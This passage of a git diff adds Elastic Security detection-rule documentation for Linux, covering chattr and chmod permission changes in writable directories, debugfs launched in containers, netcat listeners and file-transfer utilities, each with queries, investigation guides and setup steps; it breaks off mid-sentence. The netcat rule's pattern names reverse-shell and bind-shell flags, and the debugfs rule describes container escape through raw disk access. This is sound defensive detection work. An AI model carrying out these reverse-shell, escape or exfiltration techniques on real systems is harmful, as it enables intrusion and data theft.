Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Custom Ingest Pipeline* + +For versions <8.2, you need to add a custom ingest pipeline to populate `event.ingested` with @timestamp for non-elastic-agent indexes, like auditbeats/filebeat/winlogbeat etc. For more details to add a custom ingest pipeline refer to the https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +?process.parent.executable != null and +process.name == "chattr" and process.args : ("-*i*", "+*i*") and +not ( + ?process.parent.executable: ( + "/lib/systemd/systemd", "/usr/local/uems_agent/bin/*", "/usr/lib/systemd/systemd", "/usr/local/emps/sbin/php-fpm", + "/usr/local/emps/bin/php" + ) or + ?process.parent.name in ( + "systemd", "cf-agent", "ntpdate", "xargs", "px", "preinst", "auth", "cf-agent", "dcservice", "dcagentupgrader", + "sudo", "ephemeral-disk-warning" + ) or + process.args like "/opt/ai-bolit/*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Linux and Mac File and Directory Permissions Modification +** ID: T1222.002 +** Reference URL: https://attack.mitre.org/techniques/T1222/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-permission-modification-in-writable-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-permission-modification-in-writable-directory.asciidoc new file mode 100644 index 0000000000..40dd1547b8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-permission-modification-in-writable-directory.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-34-file-permission-modification-in-writable-directory]] +=== File Permission Modification in Writable Directory + +Identifies file permission modifications in common writable directories by a non-root user. Adversaries often drop files or payloads into a writable directory and change permissions prior to execution. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File Permission Modification in Writable Directory* + + +In Linux environments, writable directories like /tmp or /var/tmp are often used for temporary file storage. Adversaries exploit these by modifying file permissions to execute malicious payloads. The detection rule identifies non-root users altering permissions in these directories using commands like chmod or chown, excluding benign processes, to flag potential threats. This helps in identifying unauthorized permission changes indicative of defense evasion tactics. + + +*Possible investigation steps* + + +- Review the process details to identify the non-root user who executed the permission modification command (chattr, chgrp, chmod, or chown) in the specified writable directories (/dev/shm, /tmp, or /var/tmp). +- Examine the parent process of the detected command to determine if it is associated with any known malicious activity or if it deviates from typical user behavior, ensuring it is not one of the excluded benign processes (apt-key, update-motd-updates-available, apt-get). +- Investigate the specific file or directory whose permissions were altered to assess its legitimacy and check for any associated suspicious files or payloads. +- Analyze recent activities by the identified user to detect any other anomalous behavior or unauthorized access attempts that could indicate a broader compromise. +- Cross-reference the event with other security logs and alerts to identify any correlated incidents or patterns that might suggest a coordinated attack or persistent threat. + + +*False positive analysis* + + +- System updates and maintenance scripts may trigger permission changes in writable directories. Exclude processes like apt-key, update-motd-updates-available, and apt-get to reduce noise from legitimate system activities. +- Development and testing environments often involve frequent permission changes by non-root users. Consider excluding specific user accounts or processes known to be part of regular development workflows. +- Automated backup or synchronization tools might modify file permissions as part of their operations. Identify and exclude these tools if they are verified to be non-threatening. +- Custom scripts or applications that require permission changes for functionality should be reviewed and, if deemed safe, added to an exception list to prevent false alerts. +- Regularly review and update the exclusion list to ensure it reflects current operational practices and does not inadvertently allow malicious activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified in the alert that are associated with unauthorized permission changes. +- Revert any unauthorized file permission changes in the writable directories to their original state to prevent execution of malicious payloads. +- Conduct a thorough scan of the affected directories (/dev/shm, /tmp, /var/tmp) for any malicious files or payloads and remove them. +- Review user accounts and permissions to ensure that only authorized users have access to modify file permissions in sensitive directories. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for file permission changes in writable directories to detect similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:"linux" and event.category:process and event.type:"start" and event.action:"exec" and +process.name:("chattr" or "chgrp" or "chmod") and process.working_directory:("/dev/shm" or "/tmp" or "/var/tmp") and +not ( + process.args:( + "+r" or "640" or /tmp/apt-key-gpghome* or "/usr/bin/coreutils" or "/opt/eset/eei/uninstall.sh" or /tmp/era.repository.*.bin + ) or + process.parent.args:"/var/illumio_pce/illumio/scripts/consul" or + process.parent.name:( + apt-key or update-motd-updates-available or apt-get or java or pilot or PassengerAgent or nginx + ) or + process.parent.executable:( + "/usr/local/bin/afb-ssh-setup-keys.sh" or "/usr/local/bin/afb-ssh-setup-keys.sh" or "/opt/puppetlabs/puppet/bin/ruby" or + "/usr/sbin/update-exim4.conf" or "/bin/dracut" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Linux and Mac File and Directory Permissions Modification +** ID: T1222.002 +** Reference URL: https://attack.mitre.org/techniques/T1222/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-system-debugger-launched-inside-a-container.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-system-debugger-launched-inside-a-container.asciidoc new file mode 100644 index 0000000000..50bd7f8480 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-system-debugger-launched-inside-a-container.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-34-file-system-debugger-launched-inside-a-container]] +=== File System Debugger Launched Inside a Container + +This rule detects the use of the built-in Linux DebugFS utility from inside a container. DebugFS is a special file system debugging utility which supports reading and writing directly from a hard drive device. When launched inside a privileged container, a container deployed with all the capabilities of the host machine, an attacker can access sensitive host level files which could be used for further privilege escalation and container escapes to the host machine. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cyberark.wistia.com/medias/ygbzkzx93q?wvideo=ygbzkzx93q +* https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation#privileged + +*Tags*: + +* Domain: Containers +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Domain: Endpoint + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File System Debugger Launched Inside a Container* + + +DebugFS is a Linux utility for direct file system manipulation, often used for debugging. In a privileged container, which has extensive access to the host, adversaries can exploit DebugFS to access sensitive host files, potentially leading to privilege escalation or container escape. The detection rule identifies suspicious DebugFS usage by monitoring process initiation with specific arguments in containers, flagging potential misuse. + + +*Possible investigation steps* + + +- Review the alert details to confirm the process name is "debugfs" and check the specific arguments used, particularly looking for "/dev/sd*" to identify potential access to host file systems. +- Verify the container's security context to ensure it is indeed privileged, as this increases the risk of host-level access. +- Investigate the origin of the container image and deployment configuration to determine if the use of a privileged container was intentional or necessary. +- Check the user or service account that initiated the process to assess if it aligns with expected behavior or if it indicates potential unauthorized access. +- Examine recent logs and events from the container and host to identify any unusual activities or patterns that coincide with the alert. +- Assess the potential impact by identifying any sensitive files or directories that may have been accessed or modified by the debugfs process. + + +*False positive analysis* + + +- Routine maintenance tasks using DebugFS in privileged containers can trigger alerts. To manage this, identify and document regular maintenance processes and create exceptions for these specific processes. +- Automated scripts or tools that utilize DebugFS for legitimate monitoring or debugging purposes may cause false positives. Review these scripts and whitelist them by excluding their specific process arguments or execution contexts. +- Development and testing environments often run privileged containers with DebugFS for debugging purposes. Establish a separate set of rules or exceptions for these environments to prevent unnecessary alerts. +- Backup or recovery operations that involve direct disk access might use DebugFS. Ensure these operations are well-documented and create exceptions based on their unique process signatures or execution schedules. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further access to sensitive host files. This can be done by stopping the container or removing its network access. +- Conduct a thorough review of the container's security context and capabilities to ensure it does not have unnecessary privileges. Adjust the container's configuration to remove privileged access if not required. +- Analyze the container's logs and process history to identify any unauthorized access or actions taken by the DebugFS utility. This will help determine the extent of the potential breach. +- If unauthorized access to host files is confirmed, perform a security assessment of the host system to identify any changes or breaches. This may include checking for new user accounts, modified files, or unexpected network connections. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. Provide them with all relevant logs and findings. +- Implement additional monitoring and alerting for similar activities across other containers and hosts to detect any recurrence of this threat. +- Review and update container deployment policies to enforce the principle of least privilege, ensuring containers only have the necessary permissions to perform their intended functions. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.entry_leader.entry_meta.type == "container" and process.name == "debugfs" and +process.command_line like~ "/dev/sd*" and not process.args == "-R" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Direct Volume Access +** ID: T1006 +** Reference URL: https://attack.mitre.org/techniques/T1006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-transfer-or-listener-established-via-netcat.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-transfer-or-listener-established-via-netcat.asciidoc new file mode 100644 index 0000000000..6d2e3c14d3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-transfer-or-listener-established-via-netcat.asciidoc @@ -0,0 +1,219 @@ +[[prebuilt-rule-8-19-34-file-transfer-or-listener-established-via-netcat]] +=== File Transfer or Listener Established via Netcat + +A netcat process is engaging in network activity on a Linux host. Netcat is often used as a persistence mechanism by exporting a reverse shell or by serving a shell on a listening port. Netcat is also sometimes used for data exfiltration. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet +* https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf +* https://en.wikipedia.org/wiki/Netcat +* https://www.hackers-arise.com/hacking-fundamentals +* https://null-byte.wonderhowto.com/how-to/hack-like-pro-use-netcat-swiss-army-knife-hacking-tools-0148657/ +* https://levelup.gitconnected.com/ethical-hacking-part-15-netcat-nc-and-netcat-f6a8f7df43fd + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating File Transfer or Listener Established via Netcat* + + +Netcat is a dual-use command line tool that can be used for various purposes, such as port scanning, file transfers, and connection tests. Attackers can abuse its functionality for malicious purposes such creating bind shells or reverse shells to gain access to the target system. + +A reverse shell is a mechanism that's abused to connect back to an attacker-controlled system. It effectively redirects the system's input and output and delivers a fully functional remote shell to the attacker. Even private systems are vulnerable since the connection is outgoing. + +A bind shell is a type of backdoor that attackers set up on the target host and binds to a specific port to listen for an incoming connection from the attacker. + +This rule identifies potential reverse shell or bind shell activity using Netcat by checking for the execution of Netcat followed by a network connection. + + +*Possible investigation steps* + + +- Examine the command line to identify if the command is suspicious. +- Extract and examine the target domain or IP address. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - Scope other potentially compromised hosts in your environment by mapping hosts that also communicated with the domain or IP address. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. +- Investigate any abnormal behavior by the subject process such as network connections, file modifications, and any spawned child processes. + + +*False positive analysis* + + +- Netcat is a dual-use tool that can be used for benign or malicious activity. It is included in some Linux distributions, so its presence is not necessarily suspicious. Some normal use of this program, while uncommon, may originate from scripts, automation tools, and frameworks. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Block the identified indicators of compromise (IoCs). +- Take actions to terminate processes and connections used by the attacker. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name in ("nc","ncat","netcat","netcat.openbsd","netcat.traditional") and +process.args like~ ( + /* bind shell to specific port or listener */ + "-*l*","-*p*", + /* reverse shell to command-line interpreter used for command execution */ + "-*e*", + /* file transfer via stdout/pipe */ + ">","<", "|" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Sub-technique: +** Name: Exfiltration Over Unencrypted Non-C2 Protocol +** ID: T1048.003 +** Reference URL: https://attack.mitre.org/techniques/T1048/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-transfer-utility-launched-from-unusual-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-transfer-utility-launched-from-unusual-parent.asciidoc new file mode 100644 index 0000000000..3a2da2e28d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-transfer-utility-launched-from-unusual-parent.asciidoc @@ -0,0 +1,233 @@ +[[prebuilt-rule-8-19-34-file-transfer-utility-launched-from-unusual-parent]] +=== File Transfer Utility Launched from Unusual Parent + +This rule leverages ESQL to detect the execution of unusual file transfer utilities on Linux systems. Attackers may use these utilities to exfiltrate data from a compromised system. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Exfiltration +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: ES|QL +* Platform: Linux + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File Transfer Utility Launched from Unusual Parent* + + +File transfer utilities like scp, ftp, and rsync are essential for data movement in Linux environments. However, adversaries can exploit these tools to exfiltrate sensitive data. The detection rule identifies suspicious executions of these utilities by monitoring process activities, focusing on rare occurrences and unique agent IDs, which may indicate unauthorized data transfers. This helps in early detection of potential data breaches. + + +*Possible investigation steps* + + +- Review the process.command_line field to understand the exact command executed and assess if it aligns with typical usage patterns or if it appears suspicious. +- Examine the process.parent.executable field to determine the parent process that initiated the file transfer utility, which may provide insights into whether the execution was part of a legitimate workflow or potentially malicious activity. +- Check the agent.id field to identify the specific host involved in the alert and correlate it with other security events or logs from the same host to gather additional context. +- Investigate the @timestamp field to verify the timing of the event and cross-reference with any known scheduled tasks or user activities that could explain the execution. +- Analyze the host.os.type field to confirm the operating system and ensure that the alert pertains to a Linux environment, as expected by the rule. + + +*False positive analysis* + + +- Routine administrative tasks using file transfer utilities may trigger alerts. Regularly scheduled backups or updates using scp, rsync, or ftp should be documented and excluded from alerts by creating exceptions for known scripts or cron jobs. +- Automated system updates or patches that utilize these utilities can be mistaken for suspicious activity. Identify and whitelist the processes and command lines associated with these updates to prevent false positives. +- Internal data transfers between trusted servers for legitimate business purposes might be flagged. Establish a list of trusted agent IDs and exclude them from the rule to avoid unnecessary alerts. +- Development and testing environments often use these utilities for transferring test data. Ensure that these environments are recognized and excluded by specifying their hostnames or IP addresses in the rule configuration. +- User-initiated file transfers for legitimate reasons, such as data analysis or reporting, can be misinterpreted. Educate users to notify the security team of such activities in advance, allowing for temporary exceptions to be made. + + +*Response and remediation* + + +- Immediately isolate the affected Linux system from the network to prevent further data exfiltration and unauthorized access. +- Terminate any suspicious file transfer processes identified by the alert, such as scp, ftp, or rsync, to halt ongoing data transfers. +- Conduct a thorough review of the process command lines and parent executables to identify any malicious scripts or unauthorized software that initiated the file transfer. +- Change credentials and access keys associated with the compromised system to prevent further unauthorized access. +- Escalate the incident to the security operations team for a deeper forensic analysis to determine the extent of the breach and identify any additional compromised systems. +- Implement network monitoring to detect any further attempts of unauthorized file transfers or suspicious activities from the affected system. +- Update and enhance endpoint detection and response (EDR) solutions to improve detection capabilities for similar threats in the future. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic 